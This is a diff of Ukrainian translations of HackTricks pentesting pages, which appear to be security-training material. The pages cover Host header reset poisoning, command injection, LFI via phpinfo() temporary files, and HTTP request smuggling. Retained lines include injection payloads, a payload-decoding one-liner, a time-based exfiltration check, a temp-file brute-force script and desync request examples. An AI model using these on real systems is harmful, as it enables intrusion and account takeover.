@ -167,7 +167,7 @@ print(rv)
|
|||
|
||||
## Unicode символи Werkzeug
|
||||
|
||||
Як було помічено в [**цьому питанні**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug не закриває запит з Unicode символами в заголовках. І, як пояснено в [**цьому описі**](https://mizu.re/post/twisty-python), це може викликати вразливість CL.0 Request Smuggling.
|
||||
Як було помічено в [**цьому питанні**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug не закриває запит з Unicode символами в заголовках. І, як пояснено в [**цьому звіті**](https://mizu.re/post/twisty-python), це може викликати вразливість CL.0 Request Smuggling.
|
||||
|
||||
Це пов'язано з тим, що в Werkzeug можливо відправити деякі **Unicode** символи, і це призведе до **зламу** сервера. Однак, якщо HTTP з'єднання було створено з заголовком **`Connection: keep-alive`**, тіло запиту не буде прочитано, і з'єднання залишиться відкритим, тому **тіло** запиту буде розглядатися як **наступний HTTP запит**.
|
||||
|
||||
|
@ -184,7 +184,7 @@ print(rv)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -200,7 +200,7 @@ print(rv)
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -17,32 +17,32 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### Заголовок Host
|
||||
### Заголовок хоста
|
||||
|
||||
Декілька разів бекенд довіряє **заголовку Host** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для надсилання скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку Host. Тоді ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Декілька разів бекенд довіряє **заголовку хоста** для виконання деяких дій. Наприклад, він може використовувати його значення як **домен для надсилання скидання пароля**. Тож, коли ви отримуєте електронний лист з посиланням для скидання пароля, домен, що використовується, є тим, що ви вказали в заголовку хоста. Тоді ви можете запросити скидання пароля інших користувачів і змінити домен на той, що контролюється вами, щоб вкрасти їхні коди скидання пароля. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Зверніть увагу, що можливо, вам навіть не потрібно чекати, поки користувач натисне на посилання для скидання пароля, щоб отримати токен, оскільки навіть **фільтри спаму або інші проміжні пристрої/боти можуть натискати на нього для аналізу**.
|
||||
Зверніть увагу, що можливо, вам навіть не потрібно чекати, поки користувач натисне на посилання для скидання пароля, щоб отримати токен, оскільки, можливо, навіть **фільтри спаму або інші проміжні пристрої/боти натиснуть на нього для аналізу**.
|
||||
{% endhint %}
|
||||
|
||||
### Логічні значення сесії
|
||||
|
||||
Іноді, коли ви правильно проходите деяку перевірку, бекенд **просто додає логічне значення "True" до атрибута безпеки вашої сесії**. Тоді інша точка доступу знатиме, чи успішно ви пройшли цю перевірку.\
|
||||
Однак, якщо ви **успішно проходите перевірку** і ваша сесія отримує це значення "True" в атрибуті безпеки, ви можете спробувати **доступитися до інших ресурсів**, які **залежить від того ж атрибута**, але до яких ви **не повинні мати доступу**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Однак, якщо ви **пройшли перевірку** і ваша сесія отримала це значення "True" в атрибуті безпеки, ви можете спробувати **доступитися до інших ресурсів**, які **залежить від того ж атрибута**, але до яких ви **не повинні мати доступу**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Функціональність реєстрації
|
||||
|
||||
Спробуйте зареєструватися як вже існуючий користувач. Спробуйте також використовувати еквівалентні символи (крапки, багато пробілів і Unicode).
|
||||
Спробуйте зареєструватися як вже існуючий користувач. Спробуйте також використовувати еквівалентні символи (крапки, багато пробілів та Unicode).
|
||||
|
||||
### Перехоплення електронних листів
|
||||
|
||||
Зареєструйте електронну пошту, перед підтвердженням змініть електронну пошту, тоді, якщо новий підтверджувальний електронний лист буде надіслано на першу зареєстровану електронну пошту, ви можете перехопити будь-яку електронну пошту. Або, якщо ви можете активувати другу електронну пошту, підтверджуючи першу, ви також можете перехопити будь-який обліковий запис.
|
||||
Зареєструйте електронну пошту, перед підтвердженням змініть електронну пошту, тоді, якщо новий електронний лист для підтвердження буде надіслано на першу зареєстровану електронну пошту, ви зможете перехопити будь-яку електронну пошту. Або, якщо ви можете активувати другу електронну пошту, підтверджуючи першу, ви також можете перехопити будь-який обліковий запис.
|
||||
|
||||
### Доступ до внутрішнього сервісного столу компаній, що використовують Atlassian
|
||||
|
||||
|
@ -57,9 +57,9 @@
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -69,7 +69,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -17,21 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## What is command Injection?
|
||||
## Що таке командна ін'єкція?
|
||||
|
||||
**Командна ін'єкція** дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, що хостить додаток. В результаті, додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати несанкціонований доступ або контроль над середовищем додатка та основною системою.
|
||||
**Командна ін'єкція** дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, що хостить додаток. В результаті додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати несанкціонований доступ або контроль над середовищем додатка та основною системою.
|
||||
|
||||
### Context
|
||||
### Контекст
|
||||
|
||||
Залежно від **того, куди вводиться ваш ввід**, вам може знадобитися **закінчити цитований контекст** (використовуючи `"` або `'`) перед командами.
|
||||
|
||||
## Command Injection/Execution
|
||||
## Командна ін'єкція/виконання
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -94,9 +94,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
?run={payload}
|
||||
?print={payload}
|
||||
```
|
||||
### Часова ексфільтрація даних
|
||||
### Time based data exfiltration
|
||||
|
||||
Витягування даних: по символу
|
||||
Витягування даних: по одному символу
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
|
@ -153,7 +153,7 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -164,8 +164,8 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -40,17 +40,17 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
|||
|
||||
Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.
|
||||
|
||||
Тоді, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати ім'я тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
|
||||
Тоді, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати назву тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.
|
||||
|
||||
У **Windows** файли зазвичай зберігаються в **C:\Windows\temp\php**
|
||||
|
||||
У **linux** ім'я файлу зазвичай є **випадковим** і розташоване в **/tmp**. Оскільки ім'я випадкове, потрібно **витягти звідкись ім'я тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
|
||||
У **linux** назва файлу зазвичай **випадкова** і розташована в **/tmp**. Оскільки назва випадкова, потрібно **витягти звідкись назву тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Тоді клієнт може **надіслати** **багато великих запитів** (використовуючи великі заголовки) **завантажуючи php** зворотний **shell**, чекати, поки **перша частина phpinfo() буде повернена** (де знаходиться ім'я тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
|
||||
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Тоді клієнт може **надіслати** **багато великих запитів** (використовуючи великі заголовки) **завантажуючи php** зворотний **shell**, чекати, поки **перша частина phpinfo() буде повернена** (де знаходиться назва тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
|
||||
|
||||
**Скрипт Python для спроби брутфорсити ім'я (якщо довжина = 6)**
|
||||
**Скрипт Python для спроби брутфорсити назву (якщо довжина = 6)**
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
|
@ -74,9 +74,9 @@ print('[x] Something went wrong, please try again')
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
|
||||
**Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищувати привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -90,7 +90,7 @@ print('[x] Something went wrong, please try again')
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,38 @@
|
|||
# HTTP Request Smuggling / HTTP Desync Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на свої веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Що таке
|
||||
|
||||
Ця вразливість виникає, коли **десинхронізація** між **фронтальними проксі** та **бекенд** сервером дозволяє **зловмиснику** **надіслати** HTTP **запит**, який буде **інтерпретований** як **один запит** фронтальними проксі (балансування навантаження/реверс-проксі) та **як 2 запити** бекенд сервером.\
|
||||
Ця вразливість виникає, коли **десинхронізація** між **фронтальними проксі** та **бекенд** сервером дозволяє **зловмиснику** **надіслати** HTTP **запит**, який буде **інтерпретований** як **один запит** фронтальними проксі (балансування навантаження/реверс-проксі) і **як 2 запити** бекенд сервером.\
|
||||
Це дозволяє користувачу **модифікувати наступний запит, який надходить до бекенд сервера після його**.
|
||||
|
||||
### Теорія
|
||||
|
||||
[**RFC Специфікація (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> Якщо повідомлення отримано з обома заголовками Transfer-Encoding та Content-Length, останній ПОВИНЕН бути проігнорований.
|
||||
> Якщо повідомлення отримано з обома заголовками Transfer-Encoding і Content-Length, останній ПОВИНЕН бути проігнорований.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
|
@ -45,14 +45,14 @@
|
|||
|
||||
### Реальність
|
||||
|
||||
**Фронтальне** (балансування навантаження / Реверс-проксі) **обробляє** _**content-length**_ або _**transfer-encoding**_ заголовок, а **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\
|
||||
**Фронтальний** (балансування навантаження / Реверс-проксі) **обробляє** _**content-length**_ або _**transfer-encoding**_ заголовок, а **бекенд** сервер **обробляє інший**, викликаючи **десинхронізацію** між 2 системами.\
|
||||
Це може бути дуже критично, оскільки **зловмисник зможе надіслати один запит** до реверс-проксі, який буде **інтерпретований** бекенд сервером **як 2 різні запити**. **Небезпека** цієї техніки полягає в тому, що **бекенд** сервер **інтерпретує** **2-й запит, що інжектується**, як якщо б він **надійшов від наступного клієнта**, а **реальний запит** цього клієнта буде **частиною** **інжектованого запиту**.
|
||||
|
||||
### Особливості
|
||||
|
||||
Пам'ятайте, що в HTTP **новий символ рядка складається з 2 байтів:**
|
||||
Пам'ятайте, що в HTTP **символ нового рядка складається з 2 байтів:**
|
||||
|
||||
* **Content-Length**: Цей заголовок використовує **десяткове число** для вказівки **кількості** **байтів** тіла запиту. Тіло очікується, що закінчується останнім символом, **новий рядок не потрібен в кінці запиту**.
|
||||
* **Content-Length**: Цей заголовок використовує **десяткове число** для вказівки **кількості** **байтів** **тіла** запиту. Тіло, як очікується, закінчується останнім символом, **новий рядок не потрібен в кінці запиту**.
|
||||
* **Transfer-Encoding:** Цей заголовок використовує в **тілі** **шістнадцяткове число** для вказівки **кількості** **байтів** **наступного фрагмента**. **Фрагмент** повинен **закінчуватися** **новим рядком**, але цей новий рядок **не враховується** індикатором довжини. Цей метод передачі повинен закінчуватися **фрагментом розміром 0, за яким слідують 2 нові рядки**: `0`
|
||||
* **Connection**: Згідно з моїм досвідом, рекомендується використовувати **`Connection: keep-alive`** в першому запиті при смугуванні запитів.
|
||||
|
||||
|
@ -62,7 +62,7 @@
|
|||
При спробі експлуатувати це за допомогою Burp Suite **вимкніть `Update Content-Length` та `Normalize HTTP/1 line endings`** в повторювачі, оскільки деякі гаджети зловживають новими рядками, поверненнями каретки та неправильно сформованими content-length.
|
||||
{% endhint %}
|
||||
|
||||
Атаки на смугування HTTP-запитів створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
|
||||
Атаки на смугування HTTP-запитів створюються шляхом надсилання неоднозначних запитів, які експлуатують розбіжності в тому, як фронтальні та бекенд сервери інтерпретують заголовки `Content-Length` (CL) та `Transfer-Encoding` (TE). Ці атаки можуть проявлятися в різних формах, головним чином як **CL.TE**, **TE.CL** та **TE.TE**. Кожен тип представляє унікальну комбінацію того, як фронтальні та бекенд сервери пріоритетизують ці заголовки. Вразливості виникають через те, що сервери обробляють один і той же запит по-різному, що призводить до несподіваних і потенційно шкідливих наслідків.
|
||||
|
||||
### Основні приклади типів вразливостей
|
||||
|
||||
|
@ -74,11 +74,11 @@
|
|||
|
||||
#### Вразливість CL.TE (Content-Length використовується фронтальним, Transfer-Encoding використовується бекендом)
|
||||
|
||||
* **Фронтальне (CL):** Обробляє запит на основі заголовка `Content-Length`.
|
||||
* **Фронтальний (CL):** Обробляє запит на основі заголовка `Content-Length`.
|
||||
* **Бекенд (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
|
||||
* **Сценар атаки:**
|
||||
* **Сценарій атаки:**
|
||||
* Зловмисник надсилає запит, де значення заголовка `Content-Length` не відповідає фактичній довжині вмісту.
|
||||
* Фронтальний сервер пересилає весь запит до бекенду, спираючись на значення `Content-Length`.
|
||||
* Фронтальний сервер пересилає весь запит до бекенду на основі значення `Content-Length`.
|
||||
* Бекенд сервер обробляє запит як фрагментований через заголовок `Transfer-Encoding: chunked`, інтерпретуючи залишкові дані як окремий, наступний запит.
|
||||
* **Приклад:**
|
||||
|
||||
|
@ -97,10 +97,10 @@ Foo: x
|
|||
|
||||
#### Вразливість TE.CL (Transfer-Encoding використовується фронтальним, Content-Length використовується бекендом)
|
||||
|
||||
* **Фронтальне (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
|
||||
* **Фронтальний (TE):** Обробляє запит на основі заголовка `Transfer-Encoding`.
|
||||
* **Бекенд (CL):** Обробляє запит на основі заголовка `Content-Length`.
|
||||
* **Сценар атаки:**
|
||||
* Зловмисник надсилає фрагментований запит, де розмір фрагмента (`7b`) та фактична довжина вмісту (`Content-Length: 4`) не збігаються.
|
||||
* **Сценарій атаки:**
|
||||
* Зловмисник надсилає фрагментований запит, де розмір фрагмента (`7b`) і фактична довжина вмісту (`Content-Length: 4`) не збігаються.
|
||||
* Фронтальний сервер, поважаючи `Transfer-Encoding`, пересилає весь запит до бекенду.
|
||||
* Бекенд сервер, поважаючи `Content-Length`, обробляє лише початкову частину запиту (`7b` байтів), залишаючи решту частиною ненавмисного наступного запиту.
|
||||
* **Приклад:**
|
||||
|
@ -126,9 +126,9 @@ x=
|
|||
#### Вразливість TE.TE (Transfer-Encoding використовується обома, з обфускацією)
|
||||
|
||||
* **Сервери:** Обидва підтримують `Transfer-Encoding`, але один може бути обманутий, щоб ігнорувати його через обфускацію.
|
||||
* **Сценар атаки:**
|
||||
* **Сценарій атаки:**
|
||||
* Зловмисник надсилає запит з обфускованими заголовками `Transfer-Encoding`.
|
||||
* В залежності від того, який сервер (фронтальний або бекенд) не розпізнає обфускацію, може бути експлуатована вразливість CL.TE або TE.CL.
|
||||
* В залежності від того, який сервер (фронтальний або бекенд) не вдається розпізнати обфускацію, може бути експлуатована вразливість CL.TE або TE.CL.
|
||||
* Непроцесована частина запиту, як видно з одного з серверів, стає частиною наступного запиту, що призводить до смугування.
|
||||
* **Приклад:**
|
||||
|
||||
|
@ -149,7 +149,7 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **Сценар CL.CL (Content-Length використовується як фронтальним, так і бекендом)**
|
||||
#### **Сценарій CL.CL (Content-Length використовується як фронтальним, так і бекендом)**
|
||||
|
||||
* Обидва сервери обробляють запит виключно на основі заголовка `Content-Length`.
|
||||
